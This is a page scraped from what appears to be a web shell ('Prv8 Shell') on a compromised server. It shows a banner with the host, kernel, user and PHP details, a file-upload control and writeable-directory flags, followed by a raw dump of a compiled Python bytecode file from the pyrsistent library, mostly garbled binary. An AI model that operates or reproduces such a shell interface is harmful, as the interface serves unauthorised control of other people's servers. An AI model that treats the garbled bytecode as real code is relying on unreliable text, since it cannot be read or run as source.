Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/local/lib64/python3.6/site-packages/pyrsistent/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib64/python3.6/site-packages/pyrsistent/__pycache__/_pclass.cpython-36.pyc
3

G�Kd�%�@s�ddlmZmZmZmZddlmZmZmZm	Z	m
Z
mZddlm
Z
dd�ZGdd�de�Ze�Zdd	�ZGd
d�deed�ZGd
d�de�ZdS)�)�InvariantException�CheckedType�_restore_pickle�store_invariants)�
set_fields�
check_type�is_field_ignore_extra_complaint�PFIELD_NO_INITIAL�	serialize�check_global_invariants)�	transformcCst|�dko|dtkS)N�r)�lenr)�bases�r�8/tmp/pip-build-8nxjc3nm/pyrsistent/pyrsistent/_pclass.py�
_is_pclasssrcseZdZ�fdd�Z�ZS)�
PClassMetacsht||dd�t||dd�d
tdd�|dD��|d<t|�rR|dd7<tt|�j||||�S)N�_pclass_fields)�name�_pclass_invariantsZ
__invariant__�_pclass_frozencss|]
}|VqdS)Nr)�.0�keyrrr�	<genexpr>sz%PClassMeta.__new__.<locals>.<genexpr>�	__slots__�__weakref__)r)r)rr�tupler�superr�__new__)Zmcsrr�dct)�	__class__rrr
szPClassMeta.__new__)�__name__�
__module__�__qualname__r�
__classcell__rr)r!rrsrcCs<t||||�|j|�\}}|s,|j|�nt|||�dS)N)rZ	invariant�append�setattr)�cls�fieldr�value�result�invariant_errorsZis_okZ
error_coderrr�_check_and_set_attrs
r-cs�eZdZdZ�fdd�Zdd�Zed"dd	��Zd#d
d�Zdd
�Z	dd�Z
dd�Zdd�Z�fdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zd d!�Z�ZS)$�PClassa�
    A PClass is a python class with a fixed set of specified fields. PClasses are declared as python classes inheriting
    from PClass. It is defined the same way that PRecords are and behaves like a PRecord in all aspects except that it
    is not a PMap and hence not a collection but rather a plain Python object.


    More documentation and examples of PClass usage is available at https://github.com/tobgu/pyrsistent
    csVtt|�j|�}|jdd�}|jdd�}g}g}x�|jj�D]�\}}||kr�|dks\||kr�tt||�r||j|||d�}	q�|j||�}	n||}	t||||	||�||=q<|j	t
k	r�t|j	�r�|j	�n|j	}
t||||
||�q<|jr<|j
dj|j|��q<W|�s|�r"tt|�t|�d��|�r@tdjdj|�|j���t||j�d|_|S)	N�_factory_fields�ignore_extra)r0z{0}.{1}zField invariant failedz0'{0}' are not among the specified fields for {1}z, T)rr.r�popr�itemsr�factoryr-�initialr	�callable�	mandatoryr&�formatr"rr�AttributeError�joinrrr)r(�kwargsr+�factory_fieldsr0Zmissing_fieldsr,rr)r*r4)r!rrr.s8
zPClass.__new__cOsd|r|d||d<t|�}x2|jD](}||kr$t||t�}|tk	r$|||<q$W|jfd|i|��S)a
        Set a field in the instance. Returns a new instance with the updated value. The original instance remains
        unmodified. Accepts key-value pairs or single string representing the field name and a value.

        >>> from pyrsistent import PClass, field
        >>> class AClass(PClass):
        ...     x = field()
        ...
        >>> a = AClass(x=1)
        >>> a2 = a.set(x=2)
        >>> a3 = a.set('x', 3)
        >>> a
        AClass(x=1)
        >>> a2
        AClass(x=2)
        >>> a3
        AClass(x=3)
        r
rr/)�setr�getattr�_MISSING_VALUEr!)�self�argsr:r;rr*rrrr<Rsz
PClass.setNFcs:t�|�r�S|r&�fdd�|jD��|f||d����S)a:
        Factory method. Will create a new PClass of the current type and assign the values
        specified in kwargs.

        :param ignore_extra: A boolean which when set to True will ignore any keys which appear in kwargs that are not
                             in the set of fields on the PClass.
        csi|]}|�kr�||�qSrr)r�k)r:rr�
<dictcomp>sz!PClass.create.<locals>.<dictcomp>)r/r0)�
isinstancer)r(r:r/r0r)r:r�creaters
	
z
PClass.createcCsDi}x:|jD]0}t||t�}|tk	rt|j|j||�||<qW|S)z�
        Serialize the current PClass using custom serializer functions for fields where
        such have been supplied.
        )rr=r>r
�
serializer)r?r7r+rr*rrrr
�szPClass.serializecGs
t||�S)aT
        Apply transformations to the currency PClass. For more details on transformations see
        the documentation for PMap. Transformations on PClasses do not support key matching
        since the PClass is not a collection. Apart from that the transformations available
        for other persistent types work as expected.
        )r)r?Ztransformationsrrrr�szPClass.transformcCs@t||j�r<x*|jD] }t||t�t||t�krdSqWdStS)NFT)rCr!rr=r>�NotImplemented)r?�otherrrrr�__eq__�sz
PClass.__eq__cCs
||kS)Nr)r?rGrrr�__ne__�sz
PClass.__ne__cstt�fdd��jD���S)Nc3s|]}|t�|t�fVqdS)N)r=r>)rr)r?rrr�sz"PClass.__hash__.<locals>.<genexpr>)�hashrr)r?r)r?r�__hash__�szPClass.__hash__cs2t|dd�rtdj||���tt|�j||�dS)NrFz'Can't set attribute, key={0}, value={1})r=r8r7rr.�__setattr__)r?rr*)r!rrrL�szPClass.__setattr__cCstdj|���dS)Nz-Can't delete attribute, key={0}, use remove())r8r7)r?rrrr�__delattr__�szPClass.__delattr__cCs4i}x*|jD] }t||t�}|tk	r|||<qW|S)N)rr=r>)r?r+rr*rrr�_to_dict�szPClass._to_dictcCs(dj|jjdjdd�|j�j�D���S)Nz{0}({1})z, css"|]\}}dj|t|��VqdS)z{0}={1}N)r7�repr)rrA�vrrrr�sz"PClass.__repr__.<locals>.<genexpr>)r7r!r"r9rNr2)r?rrr�__repr__�s
zPClass.__repr__cs&t�fdd��jD��}t�j|ffS)Nc3s&|]}t�|�r|t�|�fVqdS)N)�hasattrr=)rr)r?rrr�sz$PClass.__reduce__.<locals>.<genexpr>)�dictrrr!)r?�datar)r?r�
__reduce__�szPClass.__reduce__cCst||j��S)z5
        Returns an evolver for this object.
        )�_PClassEvolverrN)r?rrr�evolver�szPClass.evolvercCs|j�}||=|j�S)z�
        Remove attribute given by name from the current instance. Raises AttributeError if the
        attribute doesn't exist.
        )rW�
persistent)r?rrWrrr�remove�sz
PClass.remove)NF)N)r"r#r$�__doc__rr<�classmethodrDr
rrHrIrKrLrMrNrQrUrWrYr%rr)r!rr.%s"$ 

	
	r.)�	metaclasscs`eZdZdZdd�Zdd�Zd	d
�Zdd�Zd
d�Zdd�Z	dd�Z
�fdd�Zdd�Z�Z
S)rV�_pclass_evolver_original�_pclass_evolver_data�_pclass_evolver_data_is_dirtyr/cCs||_||_d|_t�|_dS)NF)r]r^r_r<r/)r?�originalZinitial_dictrrr�__init__�sz_PClassEvolver.__init__cCs
|j|S)N)r^)r?�itemrrr�__getitem__�sz_PClassEvolver.__getitem__cCs2|jj|t�|k	r.||j|<|jj|�d|_|S)NT)r^�getr>r/�addr_)r?rr*rrrr<�s

z_PClassEvolver.setcCs|j||�dS)N)r<)r?rr*rrr�__setitem__�sz_PClassEvolver.__setitem__cCs4||jkr(|j|=|jj|�d|_|St|��dS)NT)r^r/�discardr_r8)r?rbrrrrY�s
z_PClassEvolver.removecCs|j|�dS)N)rY)r?rbrrr�__delitem__�sz_PClassEvolver.__delitem__cCs&|jr |jjfd|ji|j��S|jS)Nr/)r_r]r!r/r^)r?rrrrX�s
z_PClassEvolver.persistentcs.||jkr|j||�ntt|�j||�dS)N)rr<rrVrL)r?rr*)r!rrrL�s
z_PClassEvolver.__setattr__cCs||S)Nr)r?rbrrr�__getattr__sz_PClassEvolver.__getattr__)r]r^r_r/)r"r#r$rrarcr<rfrYrhrXrLrir%rr)r!rrV�s	rVN)Zpyrsistent._checked_typesrrrrZpyrsistent._field_commonrrrr	r
rZpyrsistent._transformationsrr�typer�objectr>r-r.rVrrrr�<module>s 
	1

haha - 2025